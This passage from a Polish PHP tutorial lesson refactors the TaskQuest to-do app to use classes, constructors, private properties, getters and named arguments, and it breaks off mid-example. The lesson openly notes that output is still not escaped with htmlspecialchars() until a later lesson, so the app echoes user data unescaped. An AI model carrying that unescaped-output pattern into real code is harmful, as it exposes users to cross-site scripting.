<li>zapisywać dane obiektu we <strong>właściwościach</strong> i działania na nich w <strong>metodach</strong>; rozumieć, co oznacza <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code>,</li>



<li>przygotowywać obiekt do pracy w <strong>konstruktorze</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">__construct</code>),</li>



<li>ukrywać dane (<code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code>) i udostępniać tylko bezpieczne operacje (<code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code>) — to <strong>hermetyzacja</strong> (enkapsulacja),</li>



<li>tworzyć obiekty czytelnie dzięki <strong>argumentom nazwanym</strong>,</li>



<li>przebudować TaskQuest tak, żeby lista zadań była tablicą <strong>obiektów <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code></strong>, a dane gracza — obiektem <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code></strong>.</li>
</ul>



<p class="wp-block-paragraph">Efekt: TaskQuest wygląda i działa tak samo jak po Lekcji 14 — z jedną nową rzeczą widoczną dla użytkownika: <strong>zadania po terminie są wyróżnione</strong> czerwoną ramką. Całą resztę zmian widać w kodzie: zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie['tytul']</code> piszemy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;pobierzTytul()</code>, zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">obliczPoziom($xp)</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;pobierzPoziom()</code>.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Uwaga — co jest, a czego jeszcze nie ma:</strong></p>



<ul class="wp-block-list">
<li>Dane nadal są w <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>, a XP, streak i data ostatniej aktywności nadal są <strong>symulowane</strong> (wpisane w kod). Obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> jest budowany od nowa przy każdym żądaniu z danych w sesji i tych symulowanych wartości. W sesji nadal trzymamy tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">login</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">imie</code> — nie cały obiekt.</li>



<li>Klasy dostaną metody <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczJakoWykonane()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp()</code>. Sprawdzimy je w brudnopisie, ale strona główna ich jeszcze <strong>nie wywołuje</strong> — użytkownik nie ma na razie przycisku „Zrobione!”. To zadanie końcowe A, a trwały zapis XP pojawi się razem z bazą danych.</li>



<li>Nadal <strong>nie używamy <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code></strong> (Lekcja 22).</li>



<li>Z programowania obiektowego bierzemy dziś fundament: klasa, obiekt, właściwości, metody, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code>, konstruktor, <code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code>. Dziedziczenie poznasz w pigułce w zadaniu końcowym B. Interfejsy, klasy abstrakcyjne czy metody statyczne nie są TaskQuestowi na razie potrzebne.</li>
</ul>
</blockquote>



<h1 class="wp-block-heading">Rozgrzewka — 4 pytania z Lekcji 14</h1>



<p class="wp-block-paragraph">Odpowiedz z pamięci, zanim zaczniesz:</p>



<ol class="wp-block-list">
<li>Dlaczego zwykła zmienna PHP (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">$komunikat</code>) znika po wysłaniu strony, a wartość zapisana w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code> jest dostępna w następnym żądaniu?</li>



<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> czytamy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['imie']</code> bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE['filtr']</code> — z <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code>. Dlaczego?</li>



<li>Co robi <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzKomunikat()</code> i dlaczego wywołujemy ją w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> dokładnie raz?</li>



<li>Od Lekcji 7 piszesz <code class="prettyprint lang-sql" style="font-size: 0.85em;">new DateTime(...)</code>, a od Lekcji 12 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Exception(...)</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wyjatek-&gt;getMessage()</code>. Co Twoim zdaniem robi słowo <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code>, a co strzałka <code class="prettyprint lang-sql" style="font-size: 0.85em;">-&gt;</code>?</li>
</ol>



<h1 class="wp-block-heading">1. Wracamy do naszego TaskQuest</h1>



<p class="wp-block-paragraph">Wszystkie funkcje z Lekcji 1–14 zostają. <strong>Kod funkcji się nie zmienia</strong> — z jednym wyjątkiem: funkcje, które zaglądały do tablicy zadania (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie['...']</code>), będą teraz pytać obiekt (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;...()</code>). Logika (filtrowanie, sumowanie, sortowanie, szukanie największego <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>) zostaje taka sama.</p>



<h3 class="wp-block-heading">Docelowa struktura projektu</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/
├── index.php                        (zmiana: obiekt Uzytkownik, lista zadań to obiekty Zadanie, wyróżnienie zadań po terminie)
├── dodaj-zadanie.php                (zmiana: nowe zadanie to obiekt Zadanie)
├── zaloguj.php                      bez zmian
├── wyloguj.php                      bez zmian
├── diagnostyka.php                  (zmiana: nowe pliki na liście wymaganych, przegląd katalogu classes/)
├── classes/                         NOWY KATALOG — klasy
│   ├── Zadanie.php                  NOWY — klasa Zadanie
│   └── Uzytkownik.php               NOWY — klasa Uzytkownik
├── config/
│   └── config.php                   bez zmian
├── includes/
│   ├── header.php                   (zmiana: styl .po-terminie)
│   ├── footer.php                   (zmiana: "TaskQuest 1.5")
│   ├── funkcje_grywalizacji.php     bez zmian
│   ├── funkcje_tekstowe.php         bez zmian
│   ├── funkcje_terminow.php         bez zmian
│   ├── funkcje_zadan.php            (zmiana: $zadanie&#91;'...'] → $zadanie-&gt;...())
│   ├── funkcje_sesji.php            bez zmian
│   ├── funkcje_diagnostyczne.php    bez zmian
│   └── funkcje_plikow.php           (zmiana: wczytywanie tworzy obiekty, zapis czyta z obiektów)
└── data/
    └── zadania.csv                  bez zmian (format pliku się nie zmienia!)</code></pre>



<h3 class="wp-block-heading">Co gdzie trafi</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Plik</th><th>Co się zmienia</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Zadanie.php</code></td><td>nowa klasa: dane zadania + metody (<code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTytul()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyWykonane()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPoTerminie()</code>&#8230;)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code></td><td>nowa klasa: login, imię, XP, streak + metody (<code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzPoziom()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp()</code>&#8230;)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> zwraca obiekty; <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> czyta dane z obiektów</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_zadan.php</code></td><td>odwołania do kluczy tablicy zamienione na metody</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik</code>; lista zadań czytana metodami; zadania po terminie wyróżnione</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code></td><td>nowe zadanie tworzone przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Zadanie(...)</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">header.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">footer.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code></td><td>styl, numer wersji, lista wymaganych plików</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Przygotowanie (zrób to teraz)</h3>



<ol class="wp-block-list">
<li><strong>Zrób kopię zapasową</strong> katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> z Lekcji 14 — jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja14/</code> (obok, nie w środku). Przyda się do testu regresji.</li>



<li>Zrób kopię <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> poza katalogiem projektu.</li>



<li>Zaloguj się i sprawdź, czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> działa, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> pokazuje 15 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>.</li>
</ol>



<h1 class="wp-block-heading">2. Problem w aplikacji</h1>



<p class="wp-block-paragraph">Do zespołu TaskQuest dołącza Ola. Dostaje zadanie: „dopisz przycisk odznaczania zadania” i pisze w brudnopisie kod, który <strong>wygląda</strong> rozsądnie.</p>



<p class="wp-block-paragraph"><strong>BRUDNOPIS.</strong> Wklej do <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> i <strong>zanim uruchomisz</strong>, przewidź, co się wyświetli:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

$zadanie = &#91;
    'id' =&gt; 1,
    'tytul' =&gt; 'Nauczyć się OOP',
    'opis' =&gt; 'Klasa, obiekt, metoda',
    'termin' =&gt; '2026-10-10',
    'wykonane' =&gt; false,
    'xp' =&gt; 30
];

echo "&lt;p&gt;Tytuł: " . $zadanie&#91;'tytuł'] . "&lt;/p&gt;";   // Ola napisała „tytuł” z polską literą

$zadanie&#91;'wykonane'] = 'nie';                    // Ola „odznacza” zadanie tekstem

if ($zadanie&#91;'wykonane']) {
    echo "&lt;p&gt;Zadanie wykonane!&lt;/p&gt;";
}

$zadanie&#91;'xp'] = -500;                           // nic tego nie zabrania

$inneZadanie = &#91;'id' =&gt; 2, 'tytul' =&gt; 'Zadanie bez terminu'];   // brakuje czterech kluczy

echo "&lt;p&gt;Koniec skryptu.&lt;/p&gt;";</code></pre>



<p class="wp-block-paragraph">Co zobaczyłaś/zobaczyłeś?</p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">Warning: Undefined array key "tytuł"</code> i pusty tytuł — PHP ostrzega, ale <strong>jedzie dalej</strong>.</li>



<li>„Zadanie wykonane!” — bo niepusty tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">'nie'</code> w warunku <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code> jest traktowany jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>.</li>



<li>XP = −500 i zadanie bez terminu — <strong>żadnego</strong> protestu. Kłopot wyjdzie dopiero później, w zupełnie innym miejscu aplikacji (np. gdy <code class="prettyprint lang-sql" style="font-size: 0.85em;">komunikatTerminu()</code> dostanie brak terminu).</li>
</ul>



<p class="wp-block-paragraph">Tablica to „pudełko z przegródkami”: każdy może do niej włożyć cokolwiek, pod dowolną nazwą. Nikt nie pilnuje, jakie klucze musi mieć zadanie, jakie wartości są dozwolone i kto może je zmieniać.</p>



<p class="wp-block-paragraph">Z użytkownikiem jest podobnie. Żeby wyświetlić jego panel, <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> musi znać przepis:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$poziom = obliczPoziom($xp);
$tytul = pobierzTytul($poziom);
$brakujeXp = ileBrakujeXp($xp, $poziom);     ← trzeba pamiętać, co i w jakiej kolejności podać</code></pre>



<p class="wp-block-paragraph">A dane, z których to się liczy, leżą w trzech miejscach: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code> (login, imię), luźne zmienne (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$dataOstatniejAktywnosci</code>) i funkcje w innym pliku.</p>



<p class="wp-block-paragraph">Potrzebujemy:</p>



<ol class="wp-block-list">
<li><strong>zadania</strong>, które ma zawsze komplet danych i pozwala zmienić tylko to, co wolno (np. oznaczyć je jako wykonane — ale nie ustawić XP na −500),</li>



<li><strong>użytkownika</strong>, który sam wie, jaki ma poziom i ile XP mu brakuje — bez podawania mu za każdym razem jego własnego XP,</li>



<li>żeby pomyłka w nazwie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">tytuł</code> zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code>) kończyła się <strong>od razu wyraźnym błędem</strong>, a nie cichym ostrzeżeniem i pustym tekstem.</li>
</ol>



<h1 class="wp-block-heading">3. Nowy mechanizm PHP: klasy i obiekty</h1>



<h2 class="wp-block-heading">3.1 Obiekty już znasz</h2>



<p class="wp-block-paragraph">Od Lekcji 7 używasz obiektów — tylko cudzych:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$dzisiaj = new DateTime('today');       // new — utwórz obiekt klasy DateTime
echo $dzisiaj-&gt;format('Y-m-d');         // -&gt; — poproś obiekt o wykonanie metody format()

$wyjatek = new Exception('Coś poszło nie tak.');
echo $wyjatek-&gt;getMessage();</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">DateTime</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code> to <strong>klasy</strong> napisane przez twórców PHP. Obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">$dzisiaj</code> przechowuje w sobie datę (dane) i potrafi ją sformatować (działanie). Nie wiesz, jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">DateTime</code> przechowuje datę w środku — i nie musisz. Korzystasz tylko z metod, które klasa udostępnia.</p>



<p class="wp-block-paragraph">Dziś napiszesz własne klasy. Zaczniemy od małego przykładu w brudnopisie, a dopiero potem przejdziemy do TaskQuest.</p>



<h2 class="wp-block-heading">3.2 Klasa i obiekt</h2>



<p class="wp-block-paragraph">Wyobraź sobie, że TaskQuest w przyszłości przyznaje <strong>odznaki</strong> — np. „Pierwsze zadanie” za 10 XP. Każda odznaka ma nazwę i nagrodę XP.</p>



<p class="wp-block-paragraph"><strong>BRUDNOPIS.</strong> Zastąp zawartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

class Odznaka
{
    public string $nazwa;
    public int $xp;
}

$odznaka = new Odznaka();
$odznaka-&gt;nazwa = 'Pierwsze zadanie';
$odznaka-&gt;xp = 10;

$druga = new Odznaka();
$druga-&gt;nazwa = 'Streak 7 dni';
$druga-&gt;xp = 50;

echo "&lt;p&gt;" . $odznaka-&gt;nazwa . " — " . $odznaka-&gt;xp . " XP&lt;/p&gt;";
echo "&lt;p&gt;" . $druga-&gt;nazwa . " — " . $druga-&gt;xp . " XP&lt;/p&gt;";

echo "&lt;pre&gt;";
var_dump($odznaka);
echo "&lt;/pre&gt;";</code></pre>



<p class="wp-block-paragraph">Nowe pojęcia:</p>



<ul class="wp-block-list">
<li><strong>Klasa</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">class Odznaka</code>) to <strong>plan</strong> — opis tego, jakie dane ma mieć każda odznaka. Sama klasa niczego nie przechowuje.</li>



<li><strong>Obiekt</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">new Odznaka()</code>) to <strong>egzemplarz</strong> zbudowany według planu. Z jednej klasy możesz zrobić dowolnie wiele obiektów — <code class="prettyprint lang-sql" style="font-size: 0.85em;">$odznaka</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$druga</code> są od siebie niezależne.</li>



<li><strong>Właściwość</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">public string $nazwa;</code>) to zmienna należąca do obiektu. Ma <strong>typ</strong> — tak jak parametry funkcji.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">-&gt;</code> sięga do właściwości (i metod) konkretnego obiektu. Zwróć uwagę: <strong>po strzałce nie ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">$</code></strong> — piszemy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$odznaka-&gt;nazwa</code>, nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$odznaka-&gt;$nazwa</code>.</li>
</ul>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump()</code> pokazuje obiekt: nazwę klasy, numer obiektu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">#1</code>) i wartości wszystkich właściwości.</p>



<p class="wp-block-paragraph">Zasady zapisu, których trzymamy się w TaskQuest: nazwa klasy <strong>wielką literą</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Odznaka</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code>), jedna klasa w jednym pliku, plik nazywa się tak jak klasa.</p>



<h2 class="wp-block-heading">3.3 Metody i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code></h2>



<p class="wp-block-paragraph">Chcemy, żeby odznaka sama potrafiła się opisać. Dopisz w klasie, pod właściwościami:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">public function opis(): string
{
    return $this-&gt;nazwa . " (+" . $this-&gt;xp . " XP)";
}</code></pre>



<p class="wp-block-paragraph">a zamiast dwóch linii z <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo</code> wpisz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">echo "&lt;p&gt;" . $odznaka-&gt;opis() . "&lt;/p&gt;";
echo "&lt;p&gt;" . $druga-&gt;opis() . "&lt;/p&gt;";</code></pre>



<p class="wp-block-paragraph"><strong>Metoda</strong> to funkcja zapisana w klasie. Wywołujemy ją <strong>na obiekcie</strong>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$odznaka-&gt;opis()</code>.</p>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code> oznacza „ten obiekt, na którym właśnie wywołano metodę”. Przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$odznaka-&gt;opis()</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code> to <code class="prettyprint lang-sql" style="font-size: 0.85em;">$odznaka</code>, przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$druga-&gt;opis()</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code> to <code class="prettyprint lang-sql" style="font-size: 0.85em;">$druga</code>. Dlatego ta sama metoda daje różne wyniki. Metoda <strong>nie potrzebuje parametrów</strong>, żeby dostać nazwę i XP — ma je w swoim obiekcie. To właśnie brakowało nam przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">obliczPoziom($xp)</code>.</p>



<h2 class="wp-block-heading">3.4 Konstruktor</h2>



<p class="wp-block-paragraph">Obiekt z punktu 3.2 przez chwilę istnieje „pusty” — między <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Odznaka()</code> a ustawieniem nazwy. Gdyby ktoś zapomniał ustawić <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code>, dostalibyśmy błąd dopiero przy pierwszym odczycie. Lepiej, żeby obiekt był <strong>kompletny od chwili powstania</strong>.</p>



<p class="wp-block-paragraph">Służy do tego <strong>konstruktor</strong> — metoda o specjalnej nazwie <code class="prettyprint lang-sql" style="font-size: 0.85em;">__construct</code> (<strong>dwa</strong> podkreślniki), którą PHP wywołuje automatycznie przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">class Odznaka
{
    public string $nazwa;
    public int $xp;

    public function __construct(string $nazwa, int $xp)
    {
        $this-&gt;nazwa = $nazwa;
        $this-&gt;xp = $xp;
    }

    public function opis(): string
    {
        return $this-&gt;nazwa . " (+" . $this-&gt;xp . " XP)";
    }
}

$odznaka = new Odznaka('Pierwsze zadanie', 10);
$druga = new Odznaka('Streak 7 dni', 50);</code></pre>



<p class="wp-block-paragraph">Argumenty z <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Odznaka(...)</code> trafiają do parametrów konstruktora. W linii <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;nazwa = $nazwa;</code> są <strong>dwie różne rzeczy</strong> o tej samej nazwie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$nazwa</code> — parametr (wartość przekazana przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code>), <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;nazwa</code> — właściwość obiektu. Konstruktor przepisuje jedno do drugiego.</p>



<p class="wp-block-paragraph">Sprawdź: <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Odznaka('Pierwsze zadanie')</code> (bez XP) kończy się od razu błędem <code class="prettyprint lang-sql" style="font-size: 0.85em;">ArgumentCountError: Too few arguments...</code>. Nie da się już zrobić niekompletnej odznaki.</p>



<h2 class="wp-block-heading">3.5 <code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code> — obiekt pilnuje swoich danych</h2>



<p class="wp-block-paragraph">Dopisz na końcu brudnopisu:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$odznaka-&gt;xp = -500;
echo "&lt;p&gt;" . $odznaka-&gt;opis() . "&lt;/p&gt;";</code></pre>



<p class="wp-block-paragraph">Działa — i to jest problem. Właściwości są <code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code>, więc każdy kod może w nich grzebać, tak jak Ola w tablicy zadania.</p>



<p class="wp-block-paragraph">Zmień w klasie oba słowa <code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code> przy <strong>właściwościach</strong> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code> i odśwież. Dostajesz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Uncaught Error: Cannot access private property Odznaka::$xp</code></pre>



<p class="wp-block-paragraph"><strong>Modyfikatory dostępu</strong> mówią, skąd wolno sięgać do właściwości lub metody:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Modyfikator</th><th>Kto ma dostęp</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code></td><td>każdy kod — także spoza klasy</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code></td><td>tylko metody tej klasy (przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code>)</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Reguła, której trzymamy się w TaskQuest: <strong>właściwości <code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code>, metody <code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code></strong>. Obiekt ukrywa swoje dane i pokazuje na zewnątrz tylko to, na co się zgadza. To nazywa się <strong>hermetyzacja</strong> (enkapsulacja).</p>



<p class="wp-block-paragraph">Skoro z zewnątrz nie można przeczytać <code class="prettyprint lang-sql" style="font-size: 0.85em;">$odznaka-&gt;xp</code>, dodajemy metody, które <strong>zwracają</strong> dane — tzw. <strong>gettery</strong>. A jeśli jakąś daną wolno zmieniać, dajemy metodę, która zmienia ją <strong>według reguł</strong>. Pełna wersja odznaki:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

class Odznaka
{
    private string $nazwa;
    private int $xp;

    public function __construct(string $nazwa, int $xp)
    {
        $this-&gt;nazwa = $nazwa;
        $this-&gt;xp = $xp;
    }

    public function pobierzNazwe(): string
    {
        return $this-&gt;nazwa;
    }

    public function pobierzXp(): int
    {
        return $this-&gt;xp;
    }

    public function zwiekszNagrode(int $dodatkoweXp): void
    {
        if ($dodatkoweXp &lt;= 0) {
            throw new Exception('Nagrodę za odznakę można tylko zwiększyć.');
        }

        $this-&gt;xp += $dodatkoweXp;
    }
}

$odznaka = new Odznaka('Pierwsze zadanie', 10);
$odznaka-&gt;zwiekszNagrode(5);
echo "&lt;p&gt;" . $odznaka-&gt;pobierzNazwe() . ": " . $odznaka-&gt;pobierzXp() . " XP&lt;/p&gt;";   // 15 XP

try {
    $odznaka-&gt;zwiekszNagrode(-500);
} catch (Exception $wyjatek) {
    echo "&lt;p&gt;" . $wyjatek-&gt;getMessage() . "&lt;/p&gt;";
}

echo "&lt;p&gt;Nadal: " . $odznaka-&gt;pobierzXp() . " XP&lt;/p&gt;";   // 15 XP</code></pre>



<p class="wp-block-paragraph">Co tu się zmieniło w porównaniu z tablicą?</p>



<ul class="wp-block-list">
<li>XP da się <strong>przeczytać</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzXp()</code>), ale <strong>zmienić</strong> tylko przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">zwiekszNagrode()</code> — a ta metoda pilnuje reguły.</li>



<li>Nazwy nie da się zmienić wcale — nie ma do tego metody. Nie każda właściwość potrzebuje metody zmieniającej, a nawet nie każda potrzebuje gettera.</li>



<li>Złe wywołanie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">-500</code>) to <strong>błąd programisty</strong>, a nie błąd użytkownika — dlatego jest wyjątek, a nie tablica komunikatów (reguła z Lekcji 12: wyjątek to awaria, a nie zwykła odpowiedź).</li>
</ul>



<p class="wp-block-paragraph">Nazwy metod w TaskQuest: <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierz...()</code> — zwraca daną, <code class="prettyprint lang-sql" style="font-size: 0.85em;">czy...()</code> — zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, czasownik (<code class="prettyprint lang-sql" style="font-size: 0.85em;">zwiekszNagrode()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczJakoWykonane()</code>) — zmienia stan obiektu.</p>



<h2 class="wp-block-heading">3.6 Argumenty nazwane</h2>



<p class="wp-block-paragraph">Przy dwóch parametrach łatwo zapamiętać kolejność. Zadanie w TaskQuest będzie miało <strong>sześć</strong> — w tym dwa <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code> gdzieś w środku:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">new Zadanie(6, 'Test', 'Opis', '2026-10-01', false, 25);   // co to jest 6, a co 25? co znaczy false?</code></pre>



<p class="wp-block-paragraph">Od PHP 8 możesz podać argumenty <strong>po nazwie parametru</strong>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$odznaka = new Odznaka(nazwa: 'Streak 7 dni', xp: 50);
$trzecia = new Odznaka(xp: 100, nazwa: 'Poziom 5');   // kolejność nie ma znaczenia</code></pre>



<p class="wp-block-paragraph">Nazwa przed dwukropkiem to nazwa parametru z konstruktora (bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$</code>). Kod jest dłuższy, ale od razu wiadomo, co jest czym — a zamiana kolejności nie psuje danych (zobaczysz to w Eksperymencie 4). Argumenty nazwane działają tak samo przy zwykłych funkcjach i metodach. W TaskQuest używamy ich przy tworzeniu obiektów z wieloma parametrami.</p>



<h2 class="wp-block-heading">3.7 Obiekty w tablicy</h2>



<p class="wp-block-paragraph">Obiekty można trzymać w tablicy jak każdą inną wartość. Dopisz w brudnopisie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$odznaki = &#91;
